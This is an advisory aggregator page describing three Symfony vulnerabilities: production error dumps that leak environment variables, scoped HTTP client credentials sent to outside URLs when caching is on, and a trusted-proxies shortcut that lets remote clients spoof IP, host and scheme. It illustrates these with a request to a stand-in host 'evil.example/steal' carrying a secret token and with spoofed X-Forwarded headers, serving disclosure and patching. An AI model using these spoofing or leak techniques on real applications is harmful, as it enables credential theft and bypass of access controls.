Where
-Infinity
0

Since Symfony 7.4.0, FrameworkBundle chooses the error renderer from the runtime mode of the application, which comes from the APPRUNTIMEMODE env var. When this variable isn't set, the cli, phpdbg and embed SAPIs default to the CLI mode, and errors are rendered with CliErrorRenderer. This renderer dumps the whole exception, and it did so even when debug was off.

HTTP workers that run under the CLI SAPI and don't set APPRUNTIMEMODE then sent these dumps as error responses in production. They contain the messages, file paths and traces of the exceptions. Some exceptions reference the request, like the access denied errors of accesscontrol rules. Their dump then contains the server parameters, with all the environment variables of the application.

This affects, for example, the RoadRunner, Swoole and ReactPHP runners of php-runtime, and baldinof/roadrunner-bundle before 3.2.4. The worker mode of FrankenPHP sets the variable and isn't affected.

The CLI renderer is now used only in debug mode.

First published (updated )
Infoleak

Since Symfony 7.4, framework.httpclient.scopedclients can enable caching on a scoped client. FrameworkBundle then puts a CachingHttpClient inside the ScopingHttpClient, with the options of the scope as default options. CachingHttpClient merges them into every request. So the credentials of the scope, like authbearer, authbasic or an Authorization header, are also sent to URLs outside the scope:

framework: httpclient: scopedclients: github.client: baseuri: 'https://api.github.com' headers: { Authorization: 'token GH-SECRET' } caching: { enabled: true }

$githubClient->request('GET', 'https://evil.example/steal'); // sent with "Authorization: token GH-SECRET"

Every option of the scope applies outside of it, not only the credentials, for example verifypeer: false, a client certificate, proxy or resolve. Without caching, ScopingHttpClient sends no option of the scope to evil.example. Applications are affected when a scoped client with caching enabled requests a URL that an attacker can influence, absolute URLs included.

The CachingHttpClient of a scoped client is now registered without default options. ScopingHttpClient already applies them to the requests that match the scope.

First published (updated )
Severity
6.3
AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

The Symfony FrameworkBundle framework.trustedproxies option and the HttpFoundation Request::setTrustedProxies() method trust remote clients as reverse proxies when the privateranges shortcut is used, allowing remote attackers to spoof the client IP address, host and scheme in Symfony FrameworkBundle versions 7.1 prior to 7.4.23 and 8.x prior to 8.1.11, and HttpFoundation versions 7.2 prior to 7.4.23 and 8.x prior to 8.1.11. The privateranges and PRIVATESUBNETS keywords resolved to IpUtils::PRIVATESUBNETS, the deny list of NoPrivateNetworkHttpClient, which lists the private and special-purpose prefixes a server must not connect to. Since the fix for CVE-2026-48736 (7.4.13 and 8.0.13), this list also covers the IPv6 prefixes that embed an IPv4 address: IPv4-mapped (::ffff:0:0/96), IPv4-compatible (::/96), 6to4 (2002::/16), Teredo (2001::/32) and NAT64 (64:ff9b::/96). The IPv4-mapped entry has been in the list since the privateranges shortcut was introduced, in 7.1 for framework.trustedproxies and in 7.2 for Request::setTrustedProxies(). Over-blocking is safe for a deny list, but when the same entries are used as the allow list of trusted proxies, they trust remote clients. A client whose connection arrives with such a source address is treated as a reverse proxy, and the X-Forwarded-For, X-Forwarded-Host, X-Forwarded-Proto, X-Forwarded-Port and X-Forwarded-Prefix headers it sends are honoured. For example, with Request::setTrustedProxies(['privateranges'], ...), a request with REMOTEADDR set to ::ffff:203.0.113.7 and the headers X-Forwarded-For: 10.0.0.9, X-Forwarded-Host: evil.example.com and X-Forwarded-Proto: https makes getClientIp() return 10.0.0.9, getHost() return evil.example.com and isSecure() return true. Two kinds of deployments are exposed: a server listening on the IPv6 wildcard address without IPV6V6ONLY reports every IPv4 client in the IPv4-mapped form, so every client is trusted, and a server reachable over IPv6 trusts any client sourcing from 6to4 or Teredo space, which is globally routed, whatever its listener. A spoofed client address defeats IP allow lists, rate limiting and audit logs; a spoofed host poisons the URLs written into password reset and login link e-mails and into shared caches; a spoofed scheme satisfies requireschannel: https over plain HTTP. Symfony 6.4 does not point any trusted proxy setting at IpUtils::PRIVATESUBNETS and is not affected by default, but an application that passes that constant to Request::setTrustedProxies() itself could be exposed in the same way on any version. This issue is fixed in 7.4.23 and 8.1.11.

First published (updated )
Severity
6.3
AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

The "privateranges" Trusted Proxies Shortcut Trusts Clients Presenting an IPv4-Mapped, 6to4, Teredo or NAT64 Address as Reverse Proxies

1 / 2
Source: Packagist
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203